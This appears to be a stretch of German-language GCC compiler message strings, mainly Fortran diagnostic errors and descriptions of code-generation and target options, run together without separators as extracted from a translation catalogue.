bei %L muss zwischen -1 und 1 liegenArgument von ACOSH bei %L darf nicht kleiner als 1 seinArgument von ASIN bei %L muss zwischen -1 und 1 liegenArgument von ATANH bei %L muss im Bereich -1 bis 1 liegenArgument von IACHAR bei %L muss Länge Eins habenArgument der IACHAR-Funktion bei %L außerhalb des Wertebereiches 0..127Argument von ICHAR bei %L muss Länge Eins habenArgument von INT bei %L ist kein gültiger TypArgument von KIND bei %L ist ein abgeleiteter TypArgument von LOG bei %L kann nicht kleiner oder gleich Null seinArgument von LOG10 bei %L kann nicht kleiner oder gleich Null seinArgument der SELECT-Anweisung bei %L kann nicht %s seinArgument der SELECT-Anweisung bei %L muss ein skalarer Ausdruck seinArgument von SQRT bei %L hat negativen WertArgument von »%s« bei %L ist keine VariableArgument für -ffpe-trap ist nicht gültig: %sArithmetische IF-Anweisung bei %L erfordert einen numerischen AusdruckArithmetisches NaN bei %LArithmetisches NaN des bitweise übertragenen BOZ bei %L. Diese Überprüfung kann mit der Option -fno-range-check ausgeschaltet werdenArithmetik OK bei %LArithmetik OK beim Konvertieren von %s in %s bei %LArithmetik-Überlauf bei %LArithmetischer Überlauf bei Umwandlung von %s in %s bei %L. Diese Überprüfung kann mit der Option -fno-range-check ausgeschaltet werdenArithmetischer Überlauf des bitweise übertragenen BOZ bei %L. Diese Überprüfung kann mit der Option -fno-range-check ausgeschaltet werdenArithmetik-Unterlauf bei %LArithmetischer Unterlauf des bitweise übertragenen BOZ bei %L. Diese Überprüfung kann mit der Option -fno-range-check ausgeschaltet werdenFeld »%s« bei %L kann keine aufgeschobene Form habenFeld »%s« bei %L ist eine Variable, die nicht zu konstantem Ausdruck reduziertFeld »%s« bei %L mit nicht-konstanten Grenzen kann kein EQUIVALENCE-Objekt seinFeldgrenzenkonfliktFeldkomponente der Struktur bei %C muss eine explizite Form habenFeldkomponente der Struktur bei %C muss explizite oder aufgeschobene Form habenFeldelementgröße zu hochFeldindex bei %L ist ein Feld mit Rang %dFeldindex bei %L muss skalar seinFeld-Operanden sind unzureichend bei %LFeldoperanden sind unzureichend beim Konvertieren von %s in %s bei %LFeldzeiger »%s« bei %L muss aufgeschobene Form habenFeldreferenz bei %C kann nicht mehr als %d Dimensionen habenFeldreferenz bei %L ist außerhalb der Schranken (%ld < %ld) in Dimension %dFeldreferenz bei %L ist außerhalb der Schranken (%ld > %ld) in Dimension %dFeldreferenz in EQUIVALENCE bei %C kann kein Feldabschnitt seinFeldreferenz außerhalb des WertebereichsFeldabschnitt mit Vektorindex bei %L sollte nicht das Ziel eines Zeigers seinFeldspezifikation bei %C hat mehr als %d DimensionenFeldspezifikation für Symbol »%s« in COMMON bei %C muss explizit seinFeldspezifikation muss bei %L aufgeschoben werdenIn ALLOCATE-Anweisung bei %L ist Feld-Spezifikation erforderlichFeldbereich als effektives Argument bei %L ist wegen VOLATILE-Attribut unverträglich mit dem Scheinargument ohne vermutete Form »%s«Feldbereich mit Vektorindex als effektives Argument bei %L ist unverträglich mit INTENT(OUT), INTENT(INOUT) und VOLATILE-Attribut des Scheinarguments »%s«Assembleroptionen
=================

Die <Antwort> auf eine <Frage> behaupten. Angabe von »-« vor <Frage> schaltet die <Antwort> auf <Frage> ausZuweisung an PROTECTED-Variable bei %CSchnittstelle für Zuweisungsoperator bei %L muss eine SUBROUTINE seinSchnittstelle des Zuweisungsoperators bei %L muss zwei Argumente habenSchnittstelle des Zuweisungsoperators bei %L darf keine INTRINSIC Typzuweisung redefinierenZuweisung an FORALL-Indexvariable bei %LGAS vermutenEin großes TLS-Segment vermutenAnnehmen, dass alle Symbole 32-Bit-Werte habenAnnehmen, dass alle Funktionen mit variablen Argumenten Prototypen habenAnnehmen, dass Argumente weder für sich gegenseitig noch für globale Symbole Aliase sein könnenAnnehmen, dass Argumente keine Aliase für anderen Speicher sindAnnehmen, dass Argumente Aliase für globale Symbole, jedoch nicht für sich gegenseitig sein können»big endian« Bytes und »little endian« Wörter annehmenCode als mit GAS assembliert annehmenCode als später mit GNU ld gebunden annehmenCode als später mit HP ld gebunden annehmenAnnehmen, dass Gleitkommaoperationen abgefangen werden können (»trap«)Native Funktionen als mit JNI implementiert annehmenAnnahme, dass keine NaNs oder Unendlichkeiten erzeugt werdenNormale C-Ausführungsumgebung vermutenMögliche doppelte Fehlausrichtung annehmenAnnehmen, dass pt*-Befehle nicht abgefangen werden (»trap«)Annehmen, dass vorzeichenbehaftete arithmetische Überläufe regulär überschlagenKleinen Adressraum annehmenAnnehmen, dass strenge Alias-Regeln geltenAnnehmen, dass Symbole ungültig seien könnenZiel-CPU als »big endian«-konfiguriert annehmenZiel-CPU als »little endian«-konfiguriert annehmenAnnehmen, dass Empfänger von Objective-C-Nachrichten Null sein könnenAnnehmen, dass Quelldatei in fester Form vorliegtAnnehmen, dass Quelldatei in freier Form vorliegtVxWorks RTP-Umgebung vermutenVxWorks vThreads-Umgebung vermutenAnnehmen, dass die Laufzeitbibliothek eine Hashtabelle verwendet, um ein Objekt zu seiner Synchronisationsstruktur zuzuordnenVermutete Zeichenlänge »%s« in Namensliste »%s« bei %C ist nicht erlaubtVariable »%s« mit vermuteter Zeichenlänge in konstantem Ausdruck bei %LFeld »%s« mit vermuteter Form bei %L ist nicht in einem Initialisierungs-Ausdruck erlaubtFeld mit vermuteter Form bei %L muss ein Scheinargument seinFeld »%s« mit vermuteter Größe bei %L ist nicht in einem Initialisierungs-Ausdruck erlaubtFeld »%s« mit vermuteter Größe in Klausel %s bei %LFeld »%s« mit vermuteter Größe in Klausel COPYPRIVATE bei %LFeld »%s« mit vermuteter Größe in Namensliste »%s« bei %C ist nicht erlaubtFeld mit vermuteter Größe bei %L muss ein Schein-Argument seinEffektives Argument mit vermuteter Form bei %L ist wegen VOLATILE-Attribut unverträglich mit dem Scheinargument ohne vermutete Form »%s«Feld »%s« mit vermuteter Form bei %L kann kein Argument für Prozedur »%s« bei %L sein, da die Prozedur BIND(C) istFeld »%s« bei %L mit vermuteter Form kann kein Argument für Prozedur »%s« sein, da es nicht C-kompatibel istAuf höchster Ebene:Versuch, einen negativen Betrag von Speicher zu reservieren.Versuch, einen negativen Betrag von Speicher zu reservieren. Möglicher GanzzahlüberlaufVersuch, die Verzögerungsschlitze der Sprungbefehle auszufüllenVersuch, die COMMON-Blöcke %s und %s durch EQUIVALENCE bei %C indirekt zu überschneidenVersuch, den Stapel zu dieser Zweierpotenz auszurichtenVersuchen, identische Konstanten über Übersetzungseinheiten hinweg zu verschmelzenVersuchen, identische Konstanten und konstante Variablen zu verschmelzenVersuchen, identische Zeichenketten zur Fehlersuche über Übersetzungseinheiten hinweg zu verschmelzenAttribut bei %L ist in TYPE-Definition nicht erlaubtAuto-Pre-/Post-Decrement-Increment erlaubtAuto-Pre-/Post-Decrement-Increment nicht erlaubtAutomatisches Feld »%s« bei %L kann keine Initialisierung habenAutomatische Zeichenlängenfunktion »%s« bei %L muss eine explizite Schnittstelle habenZweigziele automatisch ausrichten, um Strafzyklen für Verzweigung zu verringernAlle Bereichsgrenzen bei Aufrufbefehlen vermeidenErzeugung PC-relativer Aufrufe verhindern; Indirektion verwendenSpekulative Ladeoperationen verhindern, um Hardwarebesonderheiten zu umgehenBB %i kann werfen, hat aber EH-KantenBB %i: letzte Anweisung hat falsch gesetzte RegionKennzeichen BB_RTL ist für Block %d nicht gesetztBIND(C)-Attribut bei %C erfordert eine Schnittstelle mit BIND(C)BIND(C)-Attribut bei %L kann nur für Variablen oder gemeinsame Blöcke verwendet werdenBIND(C)-Prozedur mit NAME darf kein POINTER-Attribut bei %C habenBLOCK DATA Element »%s« bei %L muss in COMMON seinBOZ-konstante bei %L ist zu groß (%ld vs %ld Bits)BOZ-Literal bei %L ist bitweise übertragenes Nicht-Ganzzahlsymbol »%s«Bei %C verwendeter BYTE-Typ ist auf der Zielmaschine nicht verfügbarFalsche INTENT-Spezifikation bei %CFalscher IO-Basistyp (%d)Falsches Reservierungs-Objekt in ALLOCATE-Anweisung bei %C für eine PURE-ProzedurUngültige Feldreferenz bei %LFalsche Feldangabe für Feld mit explizit gebildeter Form bei %CFalsche Feldangabe für Feld mit implizit gebildeter Form bei %CFalsche Feldspezifikation in ALLOCATE-Anweisung bei %LFalsche Bytecodes.
Ungültiges Zeichen »%c« in OPERATOR-Name bei %CFalsche Fortsetzungszeile bei %CFalscher Art-Ausdruck für Funktion »%s« bei %LFalsche Art für Logikkonstante bei %CSchlechter NameFalscher OperatorFalsches Zeigerobjekt in PURE-Prozedur bei %LFalsche Spezifikation für Feld mit impliziter Größe bei %CFalsche Spezifikation für Feld mit zurückgestellter Form bei %CFalsches Ziel in Zeigerzuweisung in PURE-Prozedur bei %LFalscher Typ in Konstanten-AusdruckBinde-Marke »%s« bei %L kollidiert mit globalem Eintrag »%s« bei %LBinde-Marke »%s« bei %L kollidiert mit dem globalen Eintrag »%s« bei %LBinde-Marke »%s« für Common-Block »%s« bei %L kollidiert mit globalem Eintrag »%s« bei %LBinde-Marke »%s« für Common-Block »%s« bei %L kollidiert mit dem globalen Eintrag »%s« bei %LBinde-Marke »%s« für Common-Block »%s« bei %L passt nicht zu Binde-Marke »%s« für Common-Block »%s« bei %LBinde-Marke »%s« in Schnittstellenkörper bei %L kollidiert mit dem globalen Eintrag »%s« bei %LLeeres BLOCK DATA bei %C steht in Konflikt mit vorherigem BLOCK DATA bei %LUmfassende SAVE-Anweisung bei %C folgt vorheriger SAVE-AnweisungBlockmarke ist ungeeignet für IF-Anweisung bei %CBlockmarke passt nicht zu arithmetischer IF-Anweisung bei %CBoardname [und Speicherbereich].Schranke für Anzahl der Kandidaten, unter der alle Kandidaten in IV-Optimierungen betrachtet werdenSchranke für Anzahl der IV-Verwendungen in bei IV-Optimierungen optimierter SchleifeSchranke für Anzahl der Laufzeitprüfungen, die von Schleifenversionierung des Vektorisierers für Aliasprüfung eingefügt werdenSchranke für Anzahl der Laufzeitprüfungen, die von Schleifenversionierung des Vektorisierers für Ausrichtungsprüfung eingefügt werdenSchranke für Größe von Ausdrücken im skalaren Evolutions-Analysierer verwendetSchranke für die Kosten eines Ausdrucks, um die Anzahl der Durchläufe zu berechnenSchranke für Anzahl der Gleichungen in Systemen mit Omega-BedingungenSchranke für Anzahl der Ungleichungen in Systemen mit Omega-BedingungenSchranke für die Anzahl der Iterationen, die der Brute-Force-Algorithmus zur Auswertung der Anzahl von Iterationen auswertetSchranke für Anzahl der Schlüssel in Systemen mit Omega-BedingungenSchranke für Anzahl der Variablen in Systemen mit Omega-BedingungenSchranke für Anzahl der Wildcards in Systemen mit Omega-BedingungenSchranke für Größe der Hashtabelle in Systemen mit Omega-BedingungenVerzweigungen sind so teuer wie hier angegeben (1-5, beliebige Einheit)%s von %d Zweigen ausgeführt
Wertargument bei %L kann kein Feld oder Feldabschnitt seinWertargument bei %L ist in diesem Kontext nicht erlaubtWertargument bei %L hat keinen numerischen TypC-kompatible zeichenwertige Scheinvariable »%s« bei %L mit VALUE-Attribut muss Länge eins habenC++-Konstruktoren und -Destruktoren werden für Objective-C-Felder nicht aufgerufenCASE-Marke bei %L überschneidet sich mit CASE-Marke bei %LCHARACTER-Argument »%s« von »%s« bei %L muss Länge 1 habenCHARACTER-Ausdruck bei %L wird abgeschnitten (%d/%d)CHARACTER-Ausdruck wird in Zuweisung (%d/%d) bei %L abgeschnittenCHARACTER-Variable hat Länge Null bei %LCHARACTER(*)-Funktion »%s« bei %L kann nicht Feld-wertig seinCHARACTER(*)-Funktion »%s« bei %L kann nicht Zeiger-wertig seinCHARACTER(*)-Funktion »%s« bei %L kann nicht pure seinCHARACTER(*)-Funktion »%s« bei %L kann nicht rekursiv seinCHARACTER(*)-Funktion »%s« bei %L in Fortran 95 veraltetCLOSE-Anweisung in PURE-Prozedur bei %C nicht erlaubtCOMMON »%s« bei %L existiert nichtCOMMON-Block »%s« bei %L ist auch eine intrinsische ProzedurCOMMON-Block »%s« bei %L wird bei %L als PARAMETER verwendetCOMMON-Block /%s/ bei %C nicht gefundenCOMPLEX-Größen können nicht bei %L verglichen werdenCONTAINS-Anweisung bei %C ist bereits in einer enthaltenen ProgrammeinheitKlausel COPYIN - Objekt »%s« hat bei %L ALLOCATABLE-KomponentenKlausel COPYPRIVATE - Objekt »%s« hat bei %L ALLOCATABLE-KomponentenCPU-Namen müssen klein geschrieben seinDie ausgewählte CPU unterstützt nicht den x86-64 BefehlssatzCRIS-Port-Behauptung gescheitert: Eine Bibiotheksroutine aufrufen, um Ganzahldivision durchzuführenmcount für Profiling vor Funktionsprolog aufrufenAufruf von %qD mit Attribut sseregparam ohne SSE/SSE2 aktiviertAufruf von %qT mit Attribut sseregparam ohne SSE/SSE2 aktiviert%s von %d Aufruf(en) ausgeführt
Es kann kein gültiger Zähler:Wert-Paar gefunden werden:Das gerade erzeugte Modul kann nicht gleichzeitig verwendet werden (USE)!%s kann nicht nach %s bei %L umgewandelt werdenIntrinsisches Modul »%s« bei %C nicht gefundenSchlüsselwort »%s« in Aufruf von »%s« bei %L kann nicht gefunden werdenDatei »%s« kann nicht geöffnet werdenModuldatei »%s« kann bei %C nicht zum Lesen geöffnet werden: %sModuldatei »%s« kann bei %C nicht zum Schreiben geöffnet werden: %sEs können nicht mehrere Stapelprüfungsmethoden gleichzeitig verwendet werden.IMPORT »%s« aus Host-Sichtbarkeitseinheit bei %C nicht möglich - existiert nicht.INTENT(IN)-Variable »%s« bei %L kann nicht alloziert werdenZu INTENT(IN)-Variable »%s« bei %L kann nicht zugewiesen werdenAn benannte Konstante bei %C kann nicht zugewiesen werdenIn PURE-Prozedur bei %L kann nicht an Schleifenvariable zugewiesen werdenIn PURE-Prozedur bei %2$L kann nicht an Variable »%1$s« zugewiesen werdenAttribute des USE-verbundenen Symbols %s bei %L können nicht verändert werdenAttribute des USE-verbundenen Symbols bei %L können nicht verändert werdenINTENT(IN)-Variable »%s« bei %L kann nicht freigegeben werden»%s« kann nicht zur Ausgabe geöffnet werden.
In Variable »%s« in PURE-Prozedur bei %C kann nicht gelesen werdenIMPLICIT bei %C kann nicht hinter IMPLICIT NONE angegeben werdenIn interne Dateieinheit »%s« bei %C innerhalb PURE-Prozedur kann nicht geschrieben werdenGas veranlassen, Tomcat-Statistiken auszugebenNur die unteren 8 Bit des Stapelzeigers verändernABI ändern, um Doubleword-Befehle zuzulassenBetrag der Vorausplanung ändernGrößte Länge der bedingt ausgeführten Sequenzen ändernAnzahl der temporären Register ändern, die für bedingt ausgeführte Sequenzen zur Verfügung stehenStapel-Zeiger ändern, ohne Unterbrechung (Interrupt) auszuschaltenÄndern, wenn Templateinstanzen ausgegeben werdenSichtbarkeit wird geändert, um standardmäßig zu Microsoft Visual Studio zu passenZeichenargument »%s« bei %L muss Länge 1 haben, da Prozedur »%s« BIND(C) istZeichenwertige Scheinvariable »%s« bei %L mit VALUE-Attribut muss konstante Länge habenZeichenlänge passt nicht (%ld/%ld) zwischen effektivem Argument und Scheinargument »%s« mit vermuteter Form bei %LZeichenlänge passt nicht (%ld/%ld) zwischen effektivem Argument und Zeiger oder reservierbarem Scheinargument »%s« bei %LZeichenlänge des effektiven Arguments kürzer als das des Scheinarguments »%s« (%lu/%lu) bei %LZeichenlänge der Komponente »%s« muss ein konstanter Spezifikationsausdruck bei %L seinZeichenwertiges Argument »%s« der Anweisungsfunktion bei %L muss konstante Länge habenInterne zeichenwertige Funktion »%s« bei %L darf keine vermutete Länge habenZeichenwertige Anweisungsfunktion »%s« bei %L muss konstante Länge habenAuf Syntaxfehler prüfen und anhaltenRückgabewert von new prüfenEingabekodierung auswählen (Standard: aktuelle Locale)Strategie zur Erzeugung von Zeichenkettenoperationen wählenCirrus: NOPs einbauen, um ungültige Befehlskombinationen zu vermeidenCode-Größe: klein, mittel, großAllgemeines Blockelement »%s« bei %L kann kein EQUIVALENCE-Objekt in PURE-Prozedur »%s« seinDie Ergebnisse mehrerer Datenabhängigkeitsanalysen vergleichen.Code für ARC-Varianten-CPU planenCode für M16C-Varianten kompilierenCode für M32C-Varianten kompilierenCode für M32CM-Varianten kompilierenCode für R8C-Varianten kompilierenFür 32-Bit-Zeiger kompilierenFür 64-Bit-Zeiger kompilierenFür ETRAX 100 (CRIS v8) übersetzenFür ETRAX 4 (CRIS v3) übersetzenFür V8+-ABI-übersetzenFür 68HC11 übersetzenFür 68HC12 übersetzenFür 68HCS12 übersetzenFür Thumb statt ARM übersetzenFür m32r übersetzenFür m32r2 übersetzenFür m32rx übersetzenFür v850-Prozessor übersetzenFür v850e-Prozessor übersetzenFür v850e1-Prozessor übersetzenGanze Übersetzungseinheit auf einmal übersetzenMit 16-Bit-Ganzzahlmodus übersetzenMit 32-Bit-Ganzzahlmodus übersetzenKomplexes Argument von LOG bei %L kann nicht Null seinKomponente %s des bei %L deklarierten SEQUENCE-Typen hat kein SEQUENCE-AttributKomponente »%s« bei %C bereits bei %L deklariertKomponente »%s« bei %C ist eine PRIVATE-Komponente von »%s«Komponente »%s« bei %L kann nicht ALLOCATABLE-Attribut haben, da es Element des BIND(C)-abgeleiteten Typs »%s« bei %L istKomponente »%s« bei %L kann nicht POINTER-Attribut haben, da es Element des BIND(C)-abgeleiteten Typs »%s« bei %L istKomponente »%s« in abgeleitetem Typ »%s« bei %L könnte nicht C-kompatibel seinKomponente »%s« in abgeleiteten Typ »%s« bei %L könnte nicht C-kompatibel sein, obwohl abgeleiteter Typ »%s« BIND(C) istKomponente »%s« von »%s« bei %L muss konstante Feldgrenzen habenKomponente bei %C muss ein POINTER-Attribut habenKomponente rechts einer Teilreferenz mit Rang ungleich Null darf bei %L kein Attribut ALLOCATABLE habenKomponente rechts einer Teilreferenz mit Rang größer Null darf kein POINTER-Attribut bei %L habenKomponenten des Strukturkonstruktors »%s« bei %L sind PRIVATEVerkettungsoperator bei %L muss Zeichenketten der gleichen Sorte verkettenVerkettungsoperator in Ausdruck bei %L muss zwei CHARACTER-Operanden habenKonfiguriert mit: %s
Konflikt in Attributen des Funktionsarguments bei %CNäher der IBM XLC-Semantik entsprechenMit nichts besonderem übereinstimmenMit dem Standard ISO 1990 C übereinstimmenMit dem Standard ISO 1990 C, wie 1994 erweitert, übereinstimmenMit dem Standard ISO 1990 C mit GNU-Erweiterungen übereinstimmenMit dem Standard ISO 1998 C++ übereinstimmenMit dem Standard ISO 1998 C++ mit GNU-Erweiterungen übereinstimmenMit dem Standard ISO 1998 C++ mit GNU-Erweiterungen übereinstimmen undMit dem Standard ISO 1998 C++ mit geeigneten Erweiterungen übereinstimmenMit dem Standard ISO 1999 C übereinstimmenMit dem Standard ISO 1999 C mit GNU-Erweiterungen übereinstimmenMit dem Standard ISO Fortran 2003 übereinstimmenMit dem Standard ISO Fortran 95 übereinstimmenKonservativ reduzierte Debuginfo für StructsZugriff auf Speicher in Bytegröße als langsam betrachtenTyp »int« als 16 Bit breit ansehenTyp »int« als 32 Bit breit ansehenKonstanter Ausdruck in FORMAT-Markierung bei %L muss vom Standard-CHARACTER-Typ seinKonstanten-Ausdruck erforderlich bei %CConstantValue-Attribut für Feld »%s« hat falschen TypNetze konstruieren und nicht zusammenhängende Verwendungen einzelner Variablen aufteilenEnthaltene Funktion »%s bei %L hat keinen IMPLICIT-Typ«Enthaltene Prozedur »%s« bei %C ist bereits mehrdeutigEnthaltene Prozedur »%s« bei %L einer PURE-Prozedur muss auch PURE seinDen IEEE-Trap-Modus steuernDen generierten FP-Rundungsmodus steuernDie Präzision der FP-Ausnahmen steuernUmwandlung von %s in %s bei %LAlle Zeichenketten und Zeichenkonstanten in <Zeichensatz> umwandelnAlle Wide-Zeichenketten und -konstanten in Zeichenmenge <Zeichensatz> umwandelnGleitkommakonstanten in Konstanten einfacher Genauigkeit umwandelnFeldabschnitte bei Prozedureintritt in einen zusammenhängenden Block kopierenFür Sprungbefehl anzunehmende KostenFür einen Multiplikationsbefehl anzunehmende KostenFür gettr Befehl anzunehmende KostenSpekulative Abhängigkeiten während Prioritätsberechnung der Anweisungen zählenCray-Zeigerende bei %C kann nicht Feld mit impliziter Form seinCray-Zeigerende bei %L tritt in mehreren pointer()-Anweisungen aufCray-Zeigerziel »%s« in Klausel %s bei %LCray-Zeigerziel »%s« in Klausel SHARED bei %LCray-Zeiger »%s« in Klausel %s bei %LCray-Zeiger bei %C hat %d Bytes Genauigkeit; Speicheradressen benötigen %d BytesCray-Zeiger bei %C muss eine Ganzzahl seinCray-Zeiger-Deklaration bei %C benötigt den Schalter -fcray-pointerGUI-Anwendung erzeugenEine lageunabhängige ausführbare Datei erzeugenShared Library erzeugenKanonische Induktionsvariablen in Schleifen erzeugenKonsolenanwendung erzeugenVon »gcov« benötigte Dateien anlegenDATA-Feld »%s« bei %L muss in vorheriger Deklaration angegeben werdenDATA-Anweisung bei %C ist in PURE-Prozedur nicht erlaubtDATA-Anweisung bei %L hat mehr Werte als VariablenDATA-Anweisung bei %L hat mehr Variablen als WerteDIM-Argument bei %L ist außerhalb der GrenzenDO-Iterator »%s« bei %L ist innerhalb eines Iterators mit gleichem NamenDOUBLE COMPLEX bei %C stimmt nicht mit dem Fortran-95-Standard übereinDW_LOC_OP %s nicht implementiertDatenelement oberhalb der oberen Feldgrenze bei %LDatenelement unterhalb der unteren Feldgrenze bei %LDaten größer als angegebener Schwellwert werden in .ldata-Abschnitt im x86-64 Medium-Modell gehenDatenübertragungselement bei %L kann keine vollständige Referenz auf Feld vermuteter Größe seinDatenübertragungselement bei %L kann keine ALLOCATABLE-Komponenten habenDatenübertragungselement bei %L kann keine POINTER-Komponenten habenDatenübertragungselement bei %L kann keine PRIVATE-Komponenten habenTotes STMT in EH-TabelleTotes HistogrammZurückholen der Funktionsargumente vom Stapel bis auf weiteres hinauszögernAufgeschobenes Feld »%s bei %L ist nicht in einem Initialisierungs-Ausdruck erlaubt«Feld »%s« mit zurückgestellter Form bei %L kann kein Argument für Prozedur »%s« bei %L sein, da die Prozedur BIND(C) istFeld »%s« bei %L mit aufgeschobener Form kann kein Argument für Prozedur »%s« sein, da es nicht C-kompatibel istEin <Makro> mit <Wert> definieren. Wenn nur <Makro> angegeben wird, wird <Wert> auf 1 gesetztUnnötige Nullzeigerprügungen löschenGelöschte Funktion: %s bei %C muss eine Ganzzahl seinGelöschte Funktion: ASSIGN-Anweisung bei %CGelöschte Funktion: ASSIGNED-Variable in FORMAT-Markierung bei %LGelöschte Funktion: Zugewiesene GOTO-Anweisung bei %CGelöschte Funktion: GOTO bei %L springt zum ENDe des Konstrukts bei %LGelöschte Funktion: PAUSE-Anweisung bei %CVeraltet zugunsten von -std=c99Veraltet zugunsten von -std=gnu99Veraltet zugunsten von -std=iso9899:1999Veraltete Option. Stattdessen -misel/-mno-isel verwendenVeraltete Option. Stattdessen -mspe/-mno-spe verwendenVeraltete Option. Stattdessen -mvrsave/-mno-vrsave verwendenVeraltet. Dieser Schalter hat keine AuswirkungVeraltet; stattdessen -Os verwendenVeraltet; stattdessen --classpath verwendenAbgeleiteter Typ »%s« bei %C wird benutzt bevor er definiert wirdAbgeleiteter Typ »%s« bei %L kann nicht mit Attributen PRIVATE und BIND(C) deklariert werdenAbgeleiteter Typ »%s« bei %L kann nicht das SEQUENCE-Attribut haben, da es BIND(C) istAbgeleiteter Typ »%s« bei %L hat PRIVATE-KomponentenAbgeleiteter Typ »%s« bei %L ist leerAbgeleiteter Typ »%s«, bei %L deklariert, muss BIND-Attribut haben, um C-kompatibel zu seinAbgeleiteter Typ bei %C kann nur PRIVATE im Spezifikationsteil eines Moduls seinAbgeleiteter Typ bei %C kann nur PUBLIC im Spezifikationsteil eines Moduls seinAbgeleiteter Typ bei %C wurde vorher nicht definiert und kann daher nicht in einer abgeleiteten Typdefinition auftretenKomponente %C abgeleiteten Typs ist kein zulässiges EQUIVALENCE-ElementAbgeleitete Typdefinition von »%s« bei %C wurde bereits definiertAbgeleiteter Typname bei »%s« bei %C hat bereits einen Basistypen von %sVariable »%s« abgeleiteten Typs bei %L kann keine ALLOCATABLE-Komponenten haben, um EQUIVALENCE-Objekt zu seinVariable »%s« abgeleiteten Typs bei %L muss SEQUENCE-Attribut haben, um EQUIVALENCE-Objekt zu seinVariable »%s« abgeleiteten Typs bei %L mit Standardinitialisierung kann nicht in EQUIVALENCE mit einer Variablen in COMMON seinVariable »%s« abgeleiteten Typs bei %L mit Zeigerkomponenten kann kein EQUIVALENCE-Objekt seinVariable »%s« abgeleiteten Typs in COMMON bei %L hat eine endgültige Komponente, die allozierbar istVariable »%s« abgeleiteten Typs in COMMON bei %L hat weder das SEQUENCE- noch das BIND(C)-AttributVariable »%s« abgeleiteten Typs in COMMON bei %L darf nicht Standardinitialisierung habenAusführlich reduzierte Debuginfo für StructsFeststellen, welche Abhängigkeiten zwischen Befehlen als teuer angesehen werdenParameter verschiedener Typen in Zeigerzuweisung bei %LVerschiedene Ränge in Zeigerzuweisung bei %Landere Form für %s bei %L für Dimension %d (%d und %d)Unterschiedliche Form für Argumente »%s« und »%s« bei %L für intrinsisches »dot_product«andere Form bei Dimension 1 für Argumente »%s« und »%s« bei %L für intrinsisches matmulandere Form bei Dimension 2 für Argument »%s« und Dimension 1 für Argument »%s« bei %L für intrinsisches matmulFür %s bei %L wurden Dimensionen nach dessen Initialisierung angegebenGleitkommaregister ausschaltenbcnz-Befehl ausschaltenGleitkommaoptimierungen ausschalten, die die IEEE-Vorzeichenbehaftung von Null nicht beachtenHardware-Gleitkomma ausschaltenIndizierte Adressierung ausschaltenVon IEEE-Signalisierungs-NaNs wahrnehmbare Optimierungen ausschaltenOptimierungen, die Standard-Rundungsverhalten für Gleitkomma annehmen, ausschaltenLeerregister ausschaltenDirekte Aufrufe von globalen Funktionen verbietenUnbenutzte virtuelle Funktionen verwerfenReine und konstante Funktionen entdeckenNur-lese und nicht-adressierbare statische Variablen entdeckenÜbersetzungszeitstatistik anzeigenInhalt einer Klassendatei in lesbarer Form ausgeben.

Beschreibungen für eine bestimmte Klasse von Optionen anzeigen. <class> ist ein oder mehrere Optimierer, Ziel, Warnungen, undokumentierte Option, ParameterWährend der Übersetzung angesammelte Statistik anzeigenCodebaum nach Analyse anzeigenCompiler-Version anzeigenDiese Informationen anzeigenTabulatorentfernungen für SpaltenmeldungenDivision durch Null bei %LDivision durch Null beim Konvertieren von %s in %s bei %LDivisionsstrategie, eine von: call, call2, fp, inv, inv:minlat, inv20u, inv20l, inv:call, inv:call2, inv:fp call-div1 call-fp, call-tableNicht GAS vermutenKein großes TLS-Segment vermutenNicht annehmen, dass Standard-C-Bibliotheken und »main« vorhanden sindLeerregister nicht ausschaltenKommentare nicht verwerfenKommentare in Makroexpansionen nicht verwerfenNicht übersetzte Funktionen oder gestoppte Zeit ausgebenKeine Adressierungsmodi mit Seiteneffektzuweisungen ausgebenKeine komplexen Ganzzahlkonstanten im Nur-Lese-Speicher erzeugenKeinen Funktionsprolog oder -epilog ausgebenKeine #line-Direktiven erzeugenKeine .size-Anweisungen erzeugenNicht unbedingt einen einzigen Austrittspunkt für jede Funktion erzeugenKeine verschmolzenen Multiplizier/Addier-Befehle erzeugenKein Laden/Speichern mit Aktualisierungsbefehlen erzeugenKeine tablejmp-Befehle erzeugenKeinen threadsicheren Code für Initialisierung lokaler statischer Objekte erzeugenGanzzahldivision nicht »inline« generierenQuadratwurzel nicht »inline« generierenPIC-Register nicht in Funktionsprolog verschiebenABI-Schalter nicht in e_flags markierenGleitkommakonstanten nicht ins TOC legenSymbol+Offset-Konstanten nicht ins TOC legenKeine system- oder GCC-spezifischen Makros vordefinierenNicht vorgeben, dass Sprünge teuer sindKeine Standard-Start-Adresse 0x100 des Programmes bereitstellenKeine uninitialisierten globalen Symbole in gemeinsamen Abschnitt legenStandard-System-Einfügepfade nicht durchsuchen (die mit -isystem angegebenen werden trotzdem noch verwendet)Standard-System-Einfügeverzeichnisse nicht für C++ durchsuchen -march=... und -mcpu=... können nicht zusammen angegeben werdenEingebaute SSE4.1- und SSE4.2-Funktionen und Codeerzeugung nicht unterstützenKeine Fehlersuchinformationen für C++-Klassen unterdrückenNicht Warnungen von System-Headern unterdrückenLokale Variablen und COMMON-Blöcke behandeln, als ob sie in SAVE-Anweisungen benannt worden wärenAusrichtung von Code und der Nur-Lese-Daten nicht optimierenStapelausrichtung nicht optimierenAusrichtung der schreibbaren Daten nicht optimierenKeine MDMX-Befehle verwendenKeine MIPS-3D-Befehle verwendenPOWER-Befehlssatz nicht verwendenPowerPC-Befehlssatz nicht verwendenVAX-FP nicht verwendenKeine Cache entleerende Funktion verwenden, bevor Stack-Trampoline aufgerufen werdenNicht globale Register belegende Adressen verwendenKeine Bedingungscodes normaler Befehle verwendenModus zur direkten Adressierung für Soft-Register nicht verwendenHardware-FP nicht verwendenHardware-Gleitkomma nicht verwendenHardware-FP nicht verwendenHardware-Vierfach-Gleitkommabefehle nicht verwendenKeine Inline-Muster beim Speicherkopieren verwendenKeine push-Befehle verwenden, um Funktionsargumente zu speichernBit-Feld-Befehle nicht verwendenDen callt-Befehl nicht verwendenKeine unausgerichteten Speicherreferenzen verwendenNicht bei Verwendung von »long long« mit -pedantic warnenNicht bei Verwendung variadischer Makros bei -pedantic warnenStack-Überprüfung mit Grenzen im L1-Zwischenspeicher durchführenDen vollständigen Optimierungsdurchlauf für Registerbewegungen durchführenTut nichts. Für Rückwärtskompatibilität erhalten.Code- und Datenelemente nicht ausrichtenKeine floats und doubles in Registern erweiterter Genauigkeit reservierenKeine Funktionen zum Entleeren des Cache aufrufenKeine Abfangfunktion zum Entleeren des Cache aufrufenKeinen Code nur für privilegierten Modus erzeugen; impliziert -mno-inline-ic_invalidate, wenn der »inline«-Code nicht im Usermodus funktionieren würdeBlockkopierbefehle nicht optimierenKeine P-Mnemonics für Zweige verwendenNicht bei 